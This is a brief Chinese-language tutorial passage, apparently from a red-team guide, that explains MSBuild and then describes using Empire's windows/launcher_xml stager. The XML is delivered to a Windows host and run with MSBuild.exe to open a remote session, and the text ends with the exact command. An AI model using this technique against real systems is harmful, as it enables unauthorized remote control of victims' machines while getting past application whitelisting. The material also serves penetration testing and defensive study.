MSBuild

MSBuild是一个命令行工具,它用来构建基于Microsoft和Visual Studio的应用程序。MSBuild提供了一个XML格式的项目文件,用来控制构建过程和输出。MSBuild.exe文件通常位于%systemroot%System32文件夹中。

Empire

创建stager处选择windows/launcher_xml,并配置对应的监听器:

将生成的xml文件发送到Windows主机,并在对应的MSBuild目录输入以下命令运行即可获取到会话:

C:\Windows\Microsoft.NET\Framework\v3.5>MSBuild.exe C:\Users\snowwolf\Desktop\msb.xml